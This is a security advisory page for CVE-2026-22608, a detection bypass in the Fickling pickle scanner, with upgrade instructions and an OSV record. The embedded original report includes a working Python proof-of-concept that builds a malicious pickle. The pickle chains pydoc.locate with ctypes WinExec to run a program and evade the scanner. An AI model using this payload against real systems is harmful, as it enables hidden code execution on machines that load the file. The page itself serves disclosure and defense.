CVE-2026-22608: Fickling Fickling Vulnerable To Use Of Vulnerability
HIGHCVE-2026-22608 is a HIGH fickling vulnerable to use of vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Fickling libraries in the PyPI ecosystem. The issue involves fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection. Remediation is available by upgrading affected packages to version 0.1.7.
CVE-2026-22608 at a Glance
How to Fix CVE-2026-22608
To remediate this vulnerability, upgrade all affected Fickling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install fickling>=0.1.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show fickling
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-22608, inspect your installed packages using pip:
pip show fickling
Analyze the terminal output to locate any version of Fickling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.7), your application is affected.
Note: The pip show fickling command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Fickling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-22608 Affected Fickling Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
fickling
|
PyPI |
< 0.1.7
|
0.1.7
|
References
Frequently Asked Questions
What is CVE-2026-22608?
Which Fickling versions are affected?
What version fixes CVE-2026-22608?
Is fickling affected?
What CWE is associated with CVE-2026-22608?
How can I check PyPI dependencies for CVE-2026-22608?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5hvc-6wx8-mvv4",
"modified" : "2026-01-11T14:55:08Z",
"published" : "2026-01-09T21:05:13Z",
"aliases" : [ "CVE-2026-22608" ],
"summary" : "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection",
"details" : "# Fickling's assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate('ctypes.windll.kernel32.WinExec').\nExecution: Call the result with (b'calc.exe', 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL = b'c'\nSTRING = b'S'\nBININT = b'K'\nTUPLE1 = b'\\x85'\nTUPLE2 = b'\\x86'\nEMPTY_TUPLE = b')'\nREDUCE = b'R'\nPUT = b'p'\nGET = b'g'\nPOP = b'0'\nEMPTY_DICT = b'}'\nSETITEM = b's'\nBUILD = b'b'\nSTOP = b'.'\n\ndef generate_stealth_payload():\n payload = b\"\"\n\n payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n payload += STRING + b\"'ctypes.windll.kernel32.WinExec'\\n\"\n payload += TUPLE1 + REDUCE\n payload += PUT + b\"0\\n\" # Var 0 = <_FuncPtr WinExec>\n payload += POP\n\n payload += GET + b\"0\\n\" \n payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n payload += BININT + b\"\\x01\" \n payload += TUPLE2 + REDUCE\n payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n payload += POP\n\n payload += GLOBAL + b\"builtins\\nException\\n\"\n payload += EMPTY_TUPLE + REDUCE\n payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n payload += EMPTY_DICT\n payload += STRING + b\"'rce_status'\\n\"\n payload += GET + b\"1\\n\"\n payload += SETITEM # { 'rce_status': result }\n \n payload += BUILD \n \n payload += STOP\n return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n f.write(data)\n \nprint(\"Generated 'stealth_ctypes.pkl'\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate('ctypes.windll.kernel32.WinExec')\n_var1 = _var0(b'calc.exe', 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({'rce_status': _var1})\nresult0 = _var3\n```\n<img width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" />",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "fickling"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.1.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.1.6"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22608"
}, {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/pull/195"
}, {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"
}, {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/trailofbits/fickling"
}, {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"
}, {
"type" : "WEB",
"url" : "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-09T21:05:13Z",
"nvd_published_at" : "2026-01-10T02:15:49Z"
}
}